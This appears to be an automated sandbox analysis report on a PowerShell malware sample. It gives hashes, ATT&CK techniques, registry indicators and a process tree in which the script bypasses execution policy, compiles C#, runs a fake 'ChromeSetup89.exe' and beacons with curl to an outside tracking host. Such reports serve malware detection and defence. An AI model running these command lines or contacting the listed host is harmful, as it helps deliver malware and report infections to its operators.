944bfe82b949fcb067d4aa0463af94a13cfd7c97dfdd8ae8d9ff5ebcebaa22f2

Analysis

max time kernel
150s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/11/2026, 01:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
944bfe82b949fcb0.ps1
Size 4KB
Sample261113-bxp5paev4v
SHA256 944bfe82b949fcb067d4aa0463af94a13cfd7c97dfdd8ae8d9ff5ebcebaa22f2
MD5 f208c8afb9b34f05ea38c406659bb6f0
SHA1 37fce4d43c2a5a6989376aec0f464e2ea048d984
SHA512 37f4b2b59676a345ff22fd4ff368baa9cb2e6528eeb667db5e23066e1908bb08ada302dde5bb9f0b2c907d0284c5534affd77e74023b34d2d1833d381aae4fdd
SSDEEP 96:Pm2c+RZ2rDum2GGErLqalNJ7DK+B2JG+E7Reakj0FstAhF6B+pzmUgn:Pc+R0rDuDErxf7DK+84R9FFob2zmt
TLSH
T11B813590FE48E4D1896759F7FC6A3E56D23812B1DCCA26C80398B2D927B7B359718CC0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	4252	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
9	3016	Process not Found

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	ChromeSetup89.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	ChromeSetup89.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1140	PowerShell.exe
4252	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1140	PowerShell.exe
1140	PowerShell.exe
1140	PowerShell.exe
4252	powershell.exe
4252	powershell.exe
4252	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1140	PowerShell.exe
Token: SeDebugPrivilege	4252	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 4252	1140	PowerShell.exe	89
PID 4252 wrote to memory of 2520	4252	powershell.exe	91
PID 2520 wrote to memory of 1148	2520	csc.exe	92
PID 4252 wrote to memory of 1532	4252	powershell.exe	95
PID 4252 wrote to memory of 2684	4252	powershell.exe	96

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	13	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\944bfe82b949fcb0.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\Downloads\192907527exe.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB0D8.tmp" "c:\Users\Admin\AppData\Local\Temp\5u31cqlz\CSCD07B9EC9B1924D0A9AB87088B440CED6.TMP"
      4⤵
      PID:1148
- - C:\Users\Admin\Downloads\ChromeSetup89.exe
    "C:\Users\Admin\Downloads\ChromeSetup89.exe"
    3⤵
    - Maps connected drives based on registry
    PID:1532
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://nexguard.pro/ae8ouxb9gx/api?t=4819ebd7c129161d3cd8dd89d4efec1fec66c785&track=1&event=launch_ok
    3⤵
    PID:2684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a090aef2b50d58f4be055d9da9cd7c5a1b653ef8d89507cecf2a6d1a17ecf1c1
MD5 605231cd51ff821f6d9ad5626656b019
SHA1 ae2417f644d9584f3f6109391aaf8bd262fb0936
SHA512 054857fdcc3fe96df7db9d799316bea903bbf58084178241286de8240df2c0e8b22fcff0ec700f6fc1fac8470eaf925a78a448b89805ab0aec41605d91957458
TLSH
T161215937F3DC8614C89A413A10CEAC1536B6C7DB80DECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

5u31cqlz.dll

Path C:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.dll
Size 4KB
SHA256 7325603565874530ecd6610f26d47db5321efc0d18b96f067e91f3e8f464e943
MD5 e9e5d1b9a0b551e93e54e5e585ceadaf
SHA1 b49cc84f60b90044a45567a53fb282ebeb42a27c
SHA512 090ea05c680a5ff4478b6cabfc794268764af83ae4574a3d53c210542f74d7606f26c762993d90167416ee75a9b0caac266c4e71789157c31a4967d62735694a
TLSH
T18781210697E80557E4BB4B30BDF3538725F0ED808B73D72B1880926E6D652584F25F72
MD5 SHA1 SHA512 TLSH

Submit Download

RESB0D8.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB0D8.tmp
Size 1KB
SHA256 4dcdd7647a2cfbd015b344362d44226693e14e8ee938c4f3a8318080c14561a4
MD5 d8c59ad9a01fe6f14feee50ec52b744b
SHA1 33c08d71089c6558ce5fe87e2d63b9a11f1dc7c1
SHA512 9ac1477c5e4e54a45363b4e33ca1cfdf88440be9cd56242f9c01043e81f6af4dd86785d4401d51d88db22395362a125fddfea002bf366c9ecc03d37390eb53b0
TLSH
T1C621C90183F9871EF0B34B317DF6072FD674FE56AFA1A76A854102292C40604EEE0BB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ly0vmctf.4un.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ly0vmctf.4un.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

192907527exe.ps1

Path C:\Users\Admin\Downloads\192907527exe.ps1
Size 1KB
SHA256 f7f75f5a9240bc878a4f129c10374fa6b12b2c82907c8f500d44bbcff8f8ab49
MD5 9b07b38a94b29d9d3e3e7f26d7bc52aa
SHA1 36f490cb635821853a83d88fe82d14e276a05685
SHA512 57ea0706e97972296b84d8042e82ff0708f8638e39e59a034a94e99ba32af8f05ccaa815f12e76de2f82e7527a47a30fe5cffdf15e394697a2de34d691846b3b
TLSH
T15B314257F2B4257E42C587D691E093769833D74DC2984ABC30BC57839A215FF1A6C1C6
MD5 SHA1 SHA512 TLSH

Submit Download

5u31cqlz.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.0.cs
Size 1KB
SHA256 04d45e3134df0b6a8d1affb893c9e0d0240db163bf45baaca1c58f7acd2e56c5
MD5 83477799135bafaac2091086495e3785
SHA1 530abad3945b9560e700429ff24a2492da0d9e4c
SHA512 e12cb0be983dabe342cdf64d1320c34c9f394180a3a5d65e9ced71e483c81f36192854a23bdd4d40c9d509da6fe3ea1a12bfd4980652a00ff5f881d7bd952538
TLSH
T10F317C5E27A9E51060B63118EB02C0CBEE9289272E77852073ECAA154F72144D779F5F
MD5 SHA1 SHA512 TLSH

Submit Download

5u31cqlz.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5u31cqlz\5u31cqlz.cmdline
Size 369B
SHA256 b44ca9c39a40316583f083d07bf1f75ea4ed5f9ff94225f5e5bcf827cfa2231d
MD5 1156350a27baa1a83dcb6908b2746472
SHA1 fcf4c06c3b92eb266fb2dd19c324c0656ecb504b
SHA512 37392a1067369c2be54b24dc4946e4cc2f82b9481251c1bedbeb082ff1a1444f8cc46365ca3526dc1e4b37025c052f0eaed5b5dae860b273b7668412a0134eba
TLSH
T185E06F2B4347C3BE01ED100F366ACCEC82720A832998FF849042842DE0270002BD2B89
MD5 SHA1 SHA512 TLSH

Submit Download

CSCD07B9EC9B1924D0A9AB87088B440CED6.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5u31cqlz\CSCD07B9EC9B1924D0A9AB87088B440CED6.TMP
Size 652B
SHA256 aa4863c56ea48e834691eede775ceb9b42f0d9457cfbde53db79077d0fcad735
MD5 12646c6ff3fe72f0c6822dce97575c35
SHA1 a56ad7cc5189976c83cea92990fb0b641367154e
SHA512 ff2f7a266e86f4d588534d999e42b35fdc406bfff325cae273aec779d455aee8d85d10588108ba9f3e12d44d33cf1ab9b2c5899a16fd62ea91aaee4b4c9f9aeb
TLSH
T180F05E0963F8420EF0F35B30BEF64363D5A9BD66DE3293ED1451035D28649148962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1140-7-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-11-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-13-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-14-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-10-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-16-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-9-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-8-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-0-0x00007FFFF3D4F000-0x00007FFFF3D50000-memory.dmp

Download

memory/1140-6-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-5-0x000002442B740000-0x000002442B762000-memory.dmp

Download

memory/1140-4-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/1140-1-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/4252-24-0x000001DC9CF80000-0x000001DC9D032000-memory.dmp

Download

memory/4252-33-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/4252-42-0x000001DC9D4F0000-0x000001DC9D517000-memory.dmp

Download

memory/4252-43-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/4252-41-0x000001DC9CF40000-0x000001DC9CF48000-memory.dmp

Download

memory/4252-32-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/4252-26-0x000001DC9D4D0000-0x000001DC9D4E4000-memory.dmp

Download

memory/4252-25-0x000001DC9CF50000-0x000001DC9CF5A000-memory.dmp

Download

memory/4252-23-0x000001DC9CF60000-0x000001DC9CF7E000-memory.dmp

Download

memory/4252-44-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/4252-45-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/4252-46-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download

memory/4252-49-0x00007FFFF3BC0000-0x00007FFFF4564000-memory.dmp

Download